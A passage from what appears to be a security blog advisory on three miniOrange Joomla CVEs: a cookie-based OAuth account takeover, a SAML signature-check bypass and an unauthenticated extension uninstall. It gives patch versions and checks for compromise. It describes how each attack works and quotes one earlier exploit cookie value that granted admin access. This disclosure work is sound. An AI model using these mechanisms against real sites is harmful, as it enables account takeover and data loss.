href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78074/&quot;&gt;CVE-2026-78074&lt;/a&gt;&lt;/strong&gt; is new, arrived on 31 August, and reaches a great deal further: a missing authentication check lets an unauthenticated visitor uninstall any extension on the site. It names 23 miniOrange extensions and &lt;a href=&quot;#the-third-flaw-cve-2026-78074-an-unauthenticated-uninstall&quot;&gt;all 23 now have a fix&lt;/a&gt;. Two of those numbers supersede the earlier round, so a site patched in late August is not done: the OAuth Client needs 3.2.1 rather than 3.2.0, and SAML SSO needs 11.0.3 rather than 11.0.2.&lt;/p&gt;&lt;p&gt;This post previously complained that &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77998/&quot;&gt;CVE-2026-77998&lt;/a&gt; described only the free line, so a paid install checked against it read as clean. That was fixed on the evening of 26 August. The record now names Basic to 13.1.0, Standard to 24.1.0, Premium to 34.1.0 and Enterprise to 44.1.0, along with the ADFS and Google Apps editions and the three OIDC extensions that had appeared in no record at all.&lt;/p&gt;&lt;p&gt;The last open question has now been answered, though by the vendor rather than by the record. On 4 September miniOrange told us the paid OAuth Client editions were never affected by &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77995/&quot;&gt;CVE-2026-77995&lt;/a&gt;, that their investigation found the flaw in no paid build, and that this is why no paid security release was ever issued. &lt;a href=&quot;#the-paid-oauth-client-editions-answered-by-the-vendor&quot;&gt;What that is worth, and what it is not&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Start here: which of the three applies to you&lt;/h2&gt;
&lt;p&gt;The three records scope themselves differently, which is the single most confusing thing about this whole episode. One covers free and paid alike, one is free-only by design, and one has never said what it does to paid customers. So before any of the detail below, work out which line you are on and read one row.&lt;/p&gt;
&lt;h3&gt;Step 1: are you on a free or a paid build?&lt;/h3&gt;
&lt;p&gt;The leading digit of the version number tells you, because with miniOrange it identifies the &lt;strong&gt;edition, not the age&lt;/strong&gt;. A one or two segment number in the low range (&lt;code&gt;3.0.2&lt;/code&gt;, &lt;code&gt;6.4&lt;/code&gt;, &lt;code&gt;11.0.2&lt;/code&gt;, &lt;code&gt;1.2.2&lt;/code&gt;) is the free edition. Anything in the tens is paid: the 10s are Basic, the 20s Standard, the 30s Premium and the 40s Enterprise. A site reporting &lt;code&gt;32.0.2&lt;/code&gt; is a Premium build, not something newer than &lt;code&gt;3.2.0&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Step 2: read your row&lt;/h3&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;Free edition&lt;/th&gt;&lt;th&gt;Paid editions (Basic, Standard, Premium, Enterprise)&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77995/&quot;&gt;CVE-2026-77995&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;OAuth Client account takeover&lt;/td&gt;&lt;td&gt;Affected to 3.1.9. Fixed in &lt;strong&gt;3.2.0&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Not affected, on the vendor’s word.&lt;/strong&gt; miniOrange say the flaw was never present in any paid build. The record itself still names only the free plugin, so nothing independent confirms it&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77998/&quot;&gt;CVE-2026-77998&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;SAML SSO authentication bypass&lt;/td&gt;&lt;td&gt;Affected to 11.0.1. Fixed in &lt;strong&gt;11.0.2&lt;/strong&gt; (ADFS and Google Apps 6.4, the three OIDC extensions 1.2.2)&lt;/td&gt;&lt;td&gt;Affected to 13.1, 24.1, 34.1 and 44.1. Fixed in &lt;strong&gt;13.2, 24.2, 34.2, 44.2&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78074/&quot;&gt;CVE-2026-78074&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;Unauthenticated remote uninstall&lt;/td&gt;&lt;td&gt;Affected across 23 extensions, each with its own range. See &lt;a href=&quot;#the-23-extensions-and-what-fixes-each&quot;&gt;the table of 23&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Not affected.&lt;/strong&gt; The record limits itself to the free editions in its own description&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;&lt;p&gt;The short version, if you only want the number&lt;/p&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;On a free build?&lt;/strong&gt; Update to the version in &lt;a href=&quot;#the-23-extensions-and-what-fixes-each&quot;&gt;the table of 23&lt;/a&gt; and you are done. Because &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78074/&quot;&gt;CVE-2026-78074&lt;/a&gt; was fixed last, its number sits above the earlier ones for every extension the earlier records touched, so that single number closes all three: the OAuth Client’s 3.2.1 covers the 3.2.0 that fixed &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77995/&quot;&gt;CVE-2026-77995&lt;/a&gt;, SAML SSO’s 11.0.3 covers 11.0.2, the ADFS and Google Apps 6.5 covers 6.4, and the OIDC extensions’ 1.2.3 covers 1.2.2.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;On a paid SAML SP build?&lt;/strong&gt; You need 13.2, 24.2, 34.2 or 44.2 according to your edition. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78074/&quot;&gt;CVE-2026-78074&lt;/a&gt; does not apply to you.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;On a paid OAuth Client build?&lt;/strong&gt; miniOrange told us on 4 September that the paid editions were never affected by &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77995/&quot;&gt;CVE-2026-77995&lt;/a&gt;, so on their account there is nothing for you to do. There is no number to install because they say no paid build ever needed one. That rests on the vendor’s word rather than on the record, which still names only the free plugin, so &lt;a href=&quot;#the-paid-oauth-client-editions-answered-by-the-vendor&quot;&gt;read the caveat&lt;/a&gt; before you file it as closed.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The rest of this post is how each record got to that state, in the order it happened, including the two days when a paid install checked against the SAML record was wrongly told it was fine.&lt;/p&gt;
&lt;h2&gt;The first flaw: &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77995/&quot;&gt;CVE-2026-77995&lt;/a&gt; in the OAuth Client&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.miniorange.com/&quot;&gt;miniOrange&lt;/a&gt; OAuth Client extension lets a Joomla site use an external OAuth provider to log its users in. Every free version below 3.2.0 has a flaw that needs no login, no account and no help from anyone on the site. It is scored &lt;strong&gt;CVSS 10.0&lt;/strong&gt;, the maximum, and it ends with an attacker sitting in your Joomla administrator account.&lt;/p&gt;
&lt;h3&gt;What the flaw is&lt;/h3&gt;
&lt;p&gt;The extension works out who a visitor is from a cookie value. That value is set on the visitor’s own machine, so the visitor controls it completely. Change it to name a different account and the extension logs you in as that account. Name an administrator and you are an administrator, with no password and nothing to bypass, because there was never a check to bypass in the first place.&lt;/p&gt;
&lt;p&gt;If that sounds familiar, it should. It is the same shape of flaw we found in &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;Gridbox for Joomla&lt;/a&gt; back in July, where setting a single cookie, &lt;code&gt;gridbox_username=admin&lt;/code&gt;, logged a visitor straight in as a Super User. Trusting a value the browser sends to decide who someone is has a name, &lt;a href=&quot;https://cwe.mitre.org/data/definitions/287.html&quot;&gt;improper authentication&lt;/a&gt;, and it &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;keeps turning up in Joomla extensions&lt;/a&gt; because a cookie reads like server-side state right up until you remember the browser is the thing that writes it.&lt;/p&gt;
&lt;p&gt;The Joomla record for this is &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77995/&quot;&gt;CVE-2026-77995&lt;/a&gt;&lt;/strong&gt;, published on 24 August 2026 by the Joomla project as the CNA, and credited to Krzysztof Zając of CERT PL. Its own summary is blunt: “The manipulation of a cookie value allows actors to login as arbitrary accounts, including admins.” The affected range is 1.0.0 up to and including 3.1.9, and the fix is &lt;strong&gt;3.2.0&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;What to do about the account takeover&lt;/h3&gt;
&lt;p&gt;Update the miniOrange OAuth Client extension on &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;every Joomla site that runs it&lt;/a&gt;. &lt;strong&gt;3.2.0&lt;/strong&gt; is what closes this record, but install &lt;strong&gt;3.2.1 or later&lt;/strong&gt; instead: the &lt;a href=&quot;#the-third-flaw-cve-2026-78074-an-unauthenticated-uninstall&quot;&gt;third record below&lt;/a&gt; affects 3.2.0 as well, and 3.2.1 closes both.&lt;/p&gt;
&lt;p&gt;Read the version number carefully when you check. miniOrange ships the same extension as several separately numbered editions, and the leading digit is the &lt;strong&gt;edition, not the age&lt;/strong&gt;: the 20s are Standard, the 30s are Premium, the 40s are Enterprise. A site showing &lt;code&gt;32.0.2&lt;/code&gt; is not running something newer than 3.2.0, it is a Premium build. miniOrange have &lt;a href=&quot;#the-paid-oauth-client-editions-answered-by-the-vendor&quot;&gt;told us the paid OAuth editions were never affected&lt;/a&gt;, which is why no fixed build exists for them, though that rests on their assessment rather than on the record.&lt;/p&gt;
&lt;p&gt;If you cannot update a site straight away, disable or remove the extension rather than leaving it in place. An extension that hands out administrator sessions to anyone who asks is worse than no OAuth login at all for the short time it takes to patch.&lt;/p&gt;
&lt;p&gt;Then, because the flaw hands out administrator access, check the site was not already used. Look at your Joomla user list for &lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;administrator or super user accounts you do not recognise&lt;/a&gt;, and at accounts created or changed recently. Check the Joomla action logs and your web server logs for administrator sessions from IP addresses that are not yours. If anything looks off, &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;treat the site as compromised and clean it properly&lt;/a&gt; rather than only updating the extension.&lt;/p&gt;
&lt;h2&gt;The second flaw: &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77998/&quot;&gt;CVE-2026-77998&lt;/a&gt; in SAML SSO&lt;/h2&gt;
&lt;p&gt;On 25 August 2026 the Joomla CNA published a second record against the same vendor: &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77998/&quot;&gt;CVE-2026-77998&lt;/a&gt;&lt;/strong&gt;, an unauthenticated authentication bypass in &lt;strong&gt;miniOrange SAML SSO for Joomla&lt;/strong&gt;, scored &lt;strong&gt;CVSS 4.0 10.0&lt;/strong&gt;. This one is a different extension from the OAuth Client above, and if you use miniOrange for SAML single sign-on it matters more to you than the OAuth flaw does.&lt;/p&gt;
&lt;h3&gt;What goes wrong&lt;/h3&gt;
&lt;p&gt;PHP’s &lt;code&gt;openssl_verify()&lt;/code&gt; does not answer yes or no. It answers one of three things: &lt;code&gt;1&lt;/code&gt; if the signature is valid, &lt;code&gt;0&lt;/code&gt; if it is not, and &lt;code&gt;-1&lt;/code&gt; if OpenSSL could not complete the check at all. That third answer is the trap. The extension tests the result as though it were a plain true or false, and in PHP &lt;code&gt;-1&lt;/code&gt; is true.&lt;/p&gt;
&lt;p&gt;So an attacker does not need to forge a valid signature. They need to send one broken enough to make OpenSSL give up. They post a SAML response naming whichever account they like, attach a signature value engineered to trigger an OpenSSL error, and the extension reads the resulting &lt;code&gt;-1&lt;/code&gt; as “signature verified”. It then logs them in as the account they named. A Super User account is as easy to name as any other. There is no login step, no credential to guess and nothing for anyone on the site to click.&lt;/p&gt;
&lt;p&gt;It is the same shape of mistake as the OAuth flaw above, just one level further in. The OAuth Client trusted a value the browser sent. The SAML extension does check a signature, but then misreads what the check told it, which gets to the same place.&lt;/p&gt;
&lt;h3&gt;It is already being used on WordPress&lt;/h3&gt;
&lt;p&gt;This is not a bug sitting in a database waiting for someone to notice it.&lt;/p&gt;
&lt;p&gt;miniOrange build the same single sign-on product for WordPress, where the identical misreading of &lt;code&gt;openssl_verify()&lt;/code&gt; is tracked as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15981&quot;&gt;CVE-2026-15981&lt;/a&gt;. Patchstack &lt;a href=&quot;https://www.bleepingcomputer.com/news/security/hackers-target-wordpress-sites-in-miniorange-auth-bypass-attacks/&quot;&gt;report that it is being exploited&lt;/a&gt;, chained with a second flaw in the same plugin. DigitalOcean caught an unrecognised WordPress administrator session on 16 August, attempts and opportunistic scanning are coming from six addresses across Europe, Africa and the United States, and a working proof of concept is public.&lt;/p&gt;
&lt;p&gt;The Joomla record is new enough that we have seen no reports of it being attacked. We would not read much comfort into that. The vendor builds both editions from the same ideas, the mechanism is now described in public on both platforms, and attackers already have working code for one of them.&lt;/p&gt;
&lt;p&gt;What happened next on the WordPress side is the part worth sitting with, because it is about to be the Joomla story too. Both flaws were fixed back in July. The vendor’s advisory covered &lt;strong&gt;only the free edition&lt;/strong&gt;, so customers on the six paid editions were never told they were affected, and their WordPress dashboards showed no update prompt because paid editions do not update through the plugin directory. Plenty of them did nothing, reasonably enough, because nothing told them to. Those are the sites now being broken into. The bug was patched for a month before anyone got hurt by it, and the patch is not what failed.&lt;/p&gt;
&lt;h3&gt;The version numbers do not line up&lt;/h3&gt;
&lt;p&gt;The CVE record says the fix is version &lt;strong&gt;11.0.2&lt;/strong&gt;, with &lt;strong&gt;6.4&lt;/strong&gt; given for the ADFS and Google Apps editions. Joomla sites running this extension do not report versions that look anything like that. Real installs report &lt;code&gt;9.7&lt;/code&gt;, &lt;code&gt;10.8&lt;/code&gt;, &lt;code&gt;11.2&lt;/code&gt;, &lt;code&gt;22.7&lt;/code&gt;, &lt;code&gt;32.7&lt;/code&gt;, &lt;code&gt;42.5&lt;/code&gt;, &lt;code&gt;42.6&lt;/code&gt;, &lt;code&gt;44.0&lt;/code&gt;, &lt;code&gt;44.1&lt;/code&gt; and similar. Until the day this record was published we had never seen a single site reporting &lt;code&gt;11.0.2&lt;/code&gt; at all. One has since updated to it.&lt;/p&gt;
&lt;p&gt;miniOrange ships the same underlying extension as several separately numbered editions, which is the problem Patchstack documented on the WordPress side under the title &lt;a href=&quot;https://patchstack.com/articles/one-slug-seven-editions-the-miniorange-saml-sso-bug-that-let-anyone-log-in-as-your-wordpress-admin/&quot;&gt;One slug, seven editions&lt;/a&gt;. Their write-up was about exactly this: the bug was fixed, but a large number of sites and enterprise customers had no way of working out whether their build was one of the fixed ones. That same trap has now arrived on the Joomla side.&lt;/p&gt;
&lt;p&gt;A site reporting version 44.0 is not “newer than 11.0.2”. It is on a different numbering scheme, and for two days no one outside miniOrange could say whether it was fixed. So we asked them. &lt;a href=&quot;#what-miniorange-told-us&quot;&gt;Their first answer&lt;/a&gt; settled the free editions and left the paid ones exactly where they were. &lt;a href=&quot;#the-paid-editions-answered&quot;&gt;Their second&lt;/a&gt;, thirty hours later, finally gave the paid editions a number. The rule still holds for both: do not read a big version number as reassurance.&lt;/p&gt;
&lt;h3&gt;What miniOrange told us&lt;/h3&gt;
&lt;p&gt;On 25 August we put a narrow question to miniOrange through their own support form: for Joomla, what are the exact fixed versions of each of your products affected by this round of vulnerabilities?&lt;/p&gt;
&lt;p&gt;They answered the next morning, which is already more than the WordPress side got. Nutan Barad of miniOrange sent this table, prefaced with five words that matter as much as the numbers do: &lt;strong&gt;“All are the free versions.”&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt;&lt;p&gt;This table is a record of 26 August, not your update target&lt;/p&gt;&lt;div&gt;&lt;p&gt;Every number below has since been superseded by &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78074/&quot;&gt;CVE-2026-78074&lt;/a&gt;, which shipped on 31 August and moved each of these free editions up one release. It is kept here because the rest of this section is about what the table did and did not say at the time. For the version to actually install, use &lt;a href=&quot;#the-23-extensions-and-what-fixes-each&quot;&gt;the table of 23&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;













































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;miniOrange product for Joomla&lt;/th&gt;&lt;th&gt;Fixed version&lt;/th&gt;&lt;th&gt;In a CVE record?&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;SAML SSO for Joomla&lt;/td&gt;&lt;td&gt;11.0.2&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77998/&quot;&gt;CVE-2026-77998&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SAML SP Single Sign-On, Login with ADFS&lt;/td&gt;&lt;td&gt;6.4&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77998/&quot;&gt;CVE-2026-77998&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SAML SSO Login with Google Apps&lt;/td&gt;&lt;td&gt;6.4&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77998/&quot;&gt;CVE-2026-77998&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;miniOrange OAuth Client&lt;/td&gt;&lt;td&gt;3.2.0&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77995/&quot;&gt;CVE-2026-77995&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;OAuth Single Sign-On, OIDC SSO, Login with Azure AD&lt;/td&gt;&lt;td&gt;1.2.2&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Login with Keycloak OAuth Single Sign-On (SSO)&lt;/td&gt;&lt;td&gt;1.2.2&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Single Sign-On for Educational Institutes&lt;/td&gt;&lt;td&gt;1.2.2&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Three things are worth pulling out of that.&lt;/p&gt;
&lt;p&gt;The first is that it confirms both CVE records. The 11.0.2, 6.4 and 3.2.0 figures match what the Joomla CNA published, so if you are on a free edition you now have a number you can act on with some confidence behind it.&lt;/p&gt;
&lt;p&gt;The second is that three of those extensions were, at the time, fixed with no CVE at all. The Azure AD, Keycloak and Educational Institutes editions are each given as fixed in &lt;strong&gt;1.2.2&lt;/strong&gt;, and on 26 August neither published record mentioned any of them, so anyone running one had no advisory to be warned by. That has since been put right: the revision to &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77998/&quot;&gt;CVE-2026-77998&lt;/a&gt; later the same evening added all three, at an affected range of 1.0.0 to 1.2.1. They are named again in &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78074/&quot;&gt;CVE-2026-78074&lt;/a&gt;, where the number moves on to &lt;strong&gt;1.2.3&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The third is the one that mattered most, and it was the sentence above the table rather than anything in it. Every version quoted is for the &lt;strong&gt;free&lt;/strong&gt; edition. The paid editions, the ones on that two-segment numbering line, were left unanswered.&lt;/p&gt;
&lt;p&gt;So a site reporting 42.6 or 44.0 was exactly where it had been before we asked. We had read the vulnerable code in a live install on the 42.x line, where the tri-state &lt;code&gt;openssl_verify()&lt;/code&gt; return was still being tested for truthiness, so that build was affected and its owner still had no version number to compare themselves against.&lt;/p&gt;
&lt;p&gt;That was the WordPress story arriving on Joomla almost word for word. Both WordPress flaws were fixed back in July, the vendor’s advisory covered only the free edition, the paid editions were never told, and those are the sites that got broken into.&lt;/p&gt;
&lt;p&gt;So we went back to miniOrange and asked for the paid-edition build numbers.&lt;/p&gt;
&lt;h3&gt;The paid editions, answered&lt;/h3&gt;
&lt;p&gt;That gap lasted about thirty hours.&lt;/p&gt;
&lt;p&gt;At 12:07 on 26 August, miniOrange emailed its paying Joomla customers directly, under the subject “Urgent! Critical fix released for miniOrange Joomla SAML SP Plugin. Update Now!”. This time the numbers were the ones the free table left out:&lt;/p&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;SAML SP edition&lt;/th&gt;&lt;th&gt;Affected up to&lt;/th&gt;&lt;th&gt;Fixed in&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Basic&lt;/td&gt;&lt;td&gt;13.1&lt;/td&gt;&lt;td&gt;&lt;strong&gt;13.2&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Standard&lt;/td&gt;&lt;td&gt;24.1&lt;/td&gt;&lt;td&gt;&lt;strong&gt;24.2&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Premium&lt;/td&gt;&lt;td&gt;34.1&lt;/td&gt;&lt;td&gt;&lt;strong&gt;34.2&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Enterprise&lt;/td&gt;&lt;td&gt;44.1&lt;/td&gt;&lt;td&gt;&lt;strong&gt;44.2&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;David Jardin of the Joomla Security Strike Team posted the same four numbers publicly half an hour later, so this does not rest on a single forwarded email.&lt;/p&gt;
&lt;p&gt;Those four rows decode the whole thing. The leading digit is the &lt;strong&gt;edition&lt;/strong&gt;, not the age. A version in the 40s is an Enterprise build, the 30s are Premium, the 20s are Standard, and the low numbers are Basic or free, which share that range. A site on 44.0 was never “newer than 11.0.2”. It was an Enterprise build two releases behind its own line’s fix. Read that way, every version we have seen in the wild falls into place: &lt;code&gt;22.7&lt;/code&gt; is a Standard build needing 24.2, &lt;code&gt;32.7&lt;/code&gt; is a Premium build needing 34.2, &lt;code&gt;42.6&lt;/code&gt; and &lt;code&gt;44.1&lt;/code&gt; are Enterprise builds needing 44.2.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;There is a trap in the update path&lt;/p&gt;&lt;div&gt;&lt;p&gt;miniOrange say that 13.0, 13.1, 24.0, 24.1, 34.0, 34.1, 44.0 and 44.1 can take the fixed version straight over the top, but anything &lt;strong&gt;below&lt;/strong&gt; 13.0, 24.0, 34.0 or 44.0 has to be uninstalled first and then reinstalled. On a site where SAML is the only way anybody signs in, uninstalling the SAML plugin locks everyone out, administrators included. Before you remove anything, confirm you have a local Joomla Super User account whose password you have actually tested, and take a backup. If the plugin was customised for you, save its configuration and tell miniOrange before you replace it.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3&gt;One of the two gaps has closed&lt;/h3&gt;
&lt;p&gt;The CVE record moved the same evening. At 22:35 UTC on 26 August, hours after we published the complaint above, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77998/&quot;&gt;CVE-2026-77998&lt;/a&gt; was revised to describe the paid line: SAML SSO Basic affected to 13.1.0, Standard to 24.1.0, Premium to 34.1.0 and Enterprise to 44.1.0, alongside the ADFS and Google Apps editions at 6.3.0 and the three OIDC extensions at 1.2.1. An automated check reading that record now flags a site on 34.1 correctly, which is the outcome that matters. We are spelling that out because the version of this post you may have read a week ago said the opposite.&lt;/p&gt;
&lt;h3&gt;The paid OAuth Client editions, answered by the vendor&lt;/h3&gt;
&lt;p&gt;That left one question outstanding for eleven days, and we put it to miniOrange twice. Joomla sites report &lt;code&gt;com_miniorange_oauth&lt;/code&gt; versions such as &lt;code&gt;13.0.0&lt;/code&gt;, &lt;code&gt;21.0.1&lt;/code&gt;, &lt;code&gt;32.0.0&lt;/code&gt;, &lt;code&gt;32.0.2&lt;/code&gt; and &lt;code&gt;34.0.0&lt;/code&gt;, which on the scheme above are Basic, Standard and Premium builds, and the only fixed versions ever published for that extension are the free &lt;strong&gt;3.2.0&lt;/strong&gt; for &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77995/&quot;&gt;CVE-2026-77995&lt;/a&gt; and &lt;strong&gt;3.2.1&lt;/strong&gt; for &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78074/&quot;&gt;CVE-2026-78074&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;On 4 September miniOrange answered it. Their position is that &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77995/&quot;&gt;CVE-2026-77995&lt;/a&gt; “was associated only with the free version of the OAuth Client plugin”, that their investigation “confirmed that the vulnerability was not present in any version of the paid OAuth plugins”, and that this is precisely why no paid security build and no customer communication ever followed. On that account there was never a gap to close: the paid editions were not affected, so there was nothing to publish.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;What that answer is, and what it is not&lt;/p&gt;&lt;div&gt;&lt;p&gt;It is the vendor’s own investigation, stated in writing, and it is the answer we asked for. It is not a change to the published record, which still names one product, “miniOrange OAuth Client extension for Joomla”, with no edition qualifier at all. Anyone reading &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77995/&quot;&gt;CVE-2026-77995&lt;/a&gt; on its own still cannot tell that the paid line was assessed and cleared, because the record does not say so.&lt;/p&gt;&lt;p&gt;Weigh it against what happened three records ago. miniOrange scoped the SAML fixes to the free line too, and told us in writing that “all are the free versions”. Thirty hours later they shipped security releases for all four paid SAML editions, and the CVE record was widened to name every one of them. The same vendor has now twice said a flaw stopped at the free line. The first time that turned out to be wrong.&lt;/p&gt;&lt;p&gt;So this is reasonable evidence rather than proof, and the honest thing is to say which it is. If you run a paid OAuth Client build and want more than a vendor’s assurance, ask them to put the assessed version range in the CVE record itself, where an automated check can read it.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3&gt;What to do about the SAML bypass&lt;/h3&gt;
&lt;p&gt;If your site runs a &lt;strong&gt;free&lt;/strong&gt; edition, do not use the 26 August table above as your target. Those numbers close this record and have since been superseded by &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78074/&quot;&gt;CVE-2026-78074&lt;/a&gt;, so updating to 11.0.2, 6.4 or 1.2.2 today leaves the third flaw open. Go to &lt;a href=&quot;#the-23-extensions-and-what-fixes-each&quot;&gt;the table of 23&lt;/a&gt; and take the number there, which closes both.&lt;/p&gt;
&lt;p&gt;If it runs a &lt;strong&gt;paid&lt;/strong&gt; SAML SP edition, update it to 13.2, 24.2, 34.2 or 44.2 according to your plan, reading the leading digit of your current version to work out which line you are on. That is the end of it for you, because &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78074/&quot;&gt;CVE-2026-78074&lt;/a&gt; does not touch the paid editions.&lt;/p&gt;
&lt;p&gt;If your site runs a &lt;strong&gt;paid OAuth Client&lt;/strong&gt; edition, miniOrange say there is nothing for you to do, because the flaw was never in a paid build. There is therefore no number to install. Read &lt;a href=&quot;#the-paid-oauth-client-editions-answered-by-the-vendor&quot;&gt;what that answer rests on&lt;/a&gt; before treating the question as shut.&lt;/p&gt;
&lt;p&gt;In the meantime, if the site can function without it, disable or remove the extension. An SSO extension that will log an anonymous visitor in as an administrator is worse than no SSO for the day or two it takes to get a straight answer. If you cannot remove it, restrict access to the Joomla administrator area by IP or by network while you wait.&lt;/p&gt;
&lt;p&gt;Then check whether it has already been used, the same way as for the OAuth flaw: unfamiliar administrator or Super User accounts, recently created or modified users, and administrator sessions in your logs from addresses that are not yours.&lt;/p&gt;
&lt;h2&gt;The third flaw: &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78074/&quot;&gt;CVE-2026-78074&lt;/a&gt;, an unauthenticated uninstall&lt;/h2&gt;
&lt;p&gt;On 31 August 2026 the Joomla CNA published a third record against the same vendor, &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78074/&quot;&gt;CVE-2026-78074&lt;/a&gt;&lt;/strong&gt;, and it names 23 miniOrange extensions rather than one. Krzysztof Zając of CERT PL found this one too.&lt;/p&gt;
&lt;p&gt;This one is a different class of flaw from the two above. A miniOrange endpoint is missing its authentication check, so an unauthenticated visitor can tell the site to uninstall an extension, and the site does it. Any extension, not just a miniOrange one.&lt;/p&gt;
&lt;h3&gt;Why an uninstall is worse than it sounds&lt;/h3&gt;
&lt;p&gt;An uninstall does considerably more than switch the extension off. Joomla runs the extension’s own uninstall script and drops the database tables that go with it, so the content and configuration held in those tables goes too, and no amount of reinstalling brings it back without a backup. Point that at a forum, a shop or a form builder and the damage is measured in whatever the last backup missed.&lt;/p&gt;
&lt;p&gt;The second-order problem is what an attacker would aim it at first. Nothing restricts the target to the vendor’s own extensions, so a two-factor plugin, an admin-IP restriction, a security extension or a login handler can all be removed by someone with no account on the site. That is a useful thing to do immediately before trying something else.&lt;/p&gt;
